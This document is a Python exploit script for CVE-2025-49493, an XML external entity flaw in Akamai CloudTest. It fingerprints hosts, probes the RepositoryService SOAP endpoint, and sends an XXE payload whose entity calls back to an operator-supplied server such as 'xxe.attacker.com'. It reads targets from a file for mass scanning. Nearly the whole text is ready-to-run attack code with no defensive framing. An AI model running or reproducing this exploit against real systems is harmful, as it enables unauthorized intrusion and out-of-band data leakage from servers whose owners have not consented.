README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Akamai CloudTest XXE Exploit (CVE-2025-49493)
Title: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
Date: 01/2025
CVE: CVE-2025-49493
Author: xbow,3th1c_yuk1
Vendor Homepage: https://www.akamai.com/
Version: CloudTest before 60 2025.06.02 (12988)
Tested on: Akamai CloudTest environments
"""
import requests
import urllib3
import sys
import argparse
from datetime import datetime
from typing import List
from colored import stylize, fg
import pyfiglet
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
"""Enhanced logging utility with colored output"""
@staticmethod
def format_timestamp() -> str:
"""Format current timestamp for logging"""
return f"[{datetime.now().strftime('%Y-%m-%d-%H:%M:%S')}]"
@staticmethod
def info(message: str, host: str = "") -> None:
"""Log info message"""
host_info = f" [{host}]" if host else ""
print(stylize(Logger.format_timestamp(), fg('#ffe900')) +
stylize(f" [INFO]{host_info} {message}", fg('blue')))
@staticmethod
def error(message: str, host: str = "") -> None:
"""Log error message"""
host_info = f" [{host}]" if host else ""
print(stylize(Logger.format_timestamp(), fg('#ffe900')) +
stylize(f" [ERROR]{host_info} {message}", fg('red')))
@staticmethod
def success(message: str, host: str = "") -> None:
"""Log success message"""
host_info = f" [{host}]" if host else ""
print(stylize(Logger.format_timestamp(), fg('#ffe900')) +
stylize(f" [SUCCESS]{host_info} {message}", fg('green')))
@staticmethod
def warning(message: str, host: str = "") -> None:
"""Log warning message"""
host_info = f" [{host}]" if host else ""
print(stylize(Logger.format_timestamp(), fg('#ffe900')) +
stylize(f" [WARNING]{host_info} {message}", fg('yellow')))
class AkamaiCloudTestExploit:
"""Akamai CloudTest XXE Exploit (CVE-2025-49493)"""
def __init__(self, target: str, timeout: int = 10):
self.target = self._validate_url(target)
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.cve_id = "CVE-2025-49493"
self.exploit_path = "/concerto/services/RepositoryService"
self.cloudtest_indicators = [
'Akamai CloudTest',
'concerto',
'CloudTest',
'akamai'
]
def _validate_url(self, url: str) -> str:
"""Validate and format URL"""
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
return url.rstrip('/')
def get_default_headers(self) -> dict:
"""Get default headers for requests"""
return {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
}
def check_vulnerability(self) -> bool:
"""Check if target is vulnerable to CVE-2025-49493"""
try:
headers = self.get_default_headers()
# Check if Akamai CloudTest is present
response = self.session.get(self.target, headers=headers, timeout=self.timeout)
# Check for CloudTest indicators in response
cloudtest_found = False
for indicator in self.cloudtest_indicators:
if indicator.lower() in response.text.lower() or indicator.lower() in str(response.headers).lower():
cloudtest_found = True
Logger.info(f"CloudTest indicator found: {indicator}", self.target)
break
if not cloudtest_found:
Logger.warning("No CloudTest indicators found, target might not be Akamai CloudTest", self.target)
return False
# Check if SOAP service endpoint exists
service_url = f"{self.target}{self.exploit_path}"
test_response = self.session.get(service_url, headers=headers, timeout=self.timeout)
if test_response.status_code == 404:
Logger.error("SOAP service endpoint not found", self.target)
return False
if test_response.status_code in [200, 405, 500]: # SOAP services often return these codes
Logger.success("SOAP service endpoint accessible", self.target)
return True
return False
except requests.exceptions.RequestException as e:
Logger.error(f"Request failed: {str(e)}", self.target)
return False
except Exception as e:
Logger.error(f"Unexpected error: {str(e)}", self.target)
return False
def exploit(self, xxe_server: str) -> bool:
"""Execute XXE exploit"""
if not xxe_server:
Logger.error("XXE server not provided", self.target)
return False
try:
headers = self.get_default_headers()
headers['Content-Type'] = 'text/html'
headers['SOAPAction'] = ''
# Create XXE payload based on the nuclei template
xxe_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://{xxe_server}">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>"""
service_url = f"{self.target}{self.exploit_path}"
Logger.info(f"Attempting XXE exploit to: {xxe_server}", self.target)
Logger.info("Sending malicious SOAP request with XXE payload", self.target)
response = self.session.post(
service_url,
data=xxe_payload,
headers=headers,
timeout=self.timeout
)
# Check for successful exploitation indicators based on nuclei template
success_indicators = [
'dns' in response.text.lower(),
'text/xml' in response.headers.get('content-type', '').lower(),
'XML stream' in response.text,
response.status_code in [200, 500]
]
if any(success_indicators):
Logger.success("XXE exploit payload sent successfully", self.target)
Logger.info("Check your XXE server for incoming DNS/HTTP requests", self.target)
# Additional checks for error messages
if any(error in response.text.lower() for error in ['xml', 'dtd', 'entity', 'external']):
Logger.success("XML processing detected - possible successful XXE exploitation", self.target)
return True
else:
Logger.error(f"XXE exploit failed (HTTP {response.status_code})", self.target)
Logger.warning(f"Response body: {response.text[:200]}...", self.target)
return False
except requests.exceptions.RequestException as e:
Logger.error(f"XXE exploit failed: {str(e)}", self.target)
return False
except Exception as e:
Logger.error(f"Unexpected error during XXE exploit: {str(e)}", self.target)
return False
def generate_banner() -> str:
"""Generate banner with CVE information"""
try:
title = pyfiglet.figlet_format("AKAMAI XXE", font="slant")
info_lines = [
"🎯 CVE-2025-49493 | Akamai CloudTest XXE",
"",
"🔓 XML External Entity (XXE) Injection",
"💀 Test First, Analyze After 💀",
"",
"Author: xbow,3th1c_yuk1"
]
title_lines = title.split('\n')
max_width = max(len(line) for line in title_lines + info_lines)
border_width = max_width + 4
banner_lines = []
banner_lines.append("╔" + "═" * border_width + "╗")
banner_lines.append("║" + " " * border_width + "║")
for line in title_lines:
if line.strip():
padding = (border_width - len(line)) // 2
banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║")
banner_lines.append("║" + " " * border_width + "║")
for line in info_lines:
padding = (border_width - len(line)) // 2
banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║")
banner_lines.append("║" + " " * border_width + "║")
banner_lines.append("╚" + "═" * border_width + "╝")
return "\n" + "\n".join(banner_lines) + "\n"
except ImportError:
return """
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ AKAMAI XXE ║
║ ║
║ 🎯 CVE-2025-49493 | Akamai CloudTest XXE ║
║ ║
║ 🔓 XML External Entity (XXE) Injection ║
║ 💀 Test First, Analyze After 💀 ║
║ ║
║ Author: xbow,3th1c_yuk1 ║
║ ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
"""
def load_targets_from_file(file_path: str) -> List[str]:
"""Load targets from file"""
try:
with open(file_path, 'r') as file:
targets = [line.strip() for line in file if line.strip()]
Logger.info(f"Loaded {len(targets)} targets from {file_path}")
return targets
except FileNotFoundError:
Logger.error(f"Target file not found: {file_path}")
return []
except Exception as e:
Logger.error(f"Error loading targets: {str(e)}")
return []
def main():
"""Main function"""
print(stylize(generate_banner(), fg('red')))
parser = argparse.ArgumentParser(
description="Akamai CloudTest XXE Exploit (CVE-2025-49493)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python akamai_xxe.py targets.txt xxe.attacker.com
python akamai_xxe.py targets.txt collaborator.burp.com --timeout 20
python akamai_xxe.py targets.txt attacker.interactsh.com
"""
)
parser.add_argument('targets', help='Target file containing list of Akamai CloudTest hosts')
parser.add_argument('xxe_server', help='XXE server to capture requests (e.g., attacker.com or IP)')
parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
if len(sys.argv) < 3:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
# Load targets from file
targets = load_targets_from_file(args.targets)
if not targets:
Logger.error("No targets to process")
sys.exit(1)
# Run exploit
Logger.info(f"Starting Akamai CloudTest XXE exploit against {len(targets)} targets")
Logger.info(f"XXE Server: {args.xxe_server}")
Logger.warning("Ensure your XXE server is ready to capture DNS/HTTP requests!")
successful_exploits = 0
for target in targets:
exploit = AkamaiCloudTestExploit(target, timeout=args.timeout)
if exploit.check_vulnerability():
if exploit.exploit(args.xxe_server):
successful_exploits += 1
Logger.info(f"Exploit execution completed - {successful_exploits}/{len(targets)} successful")
Logger.info("Check your XXE server logs for captured requests")
if __name__ == "__main__":
main()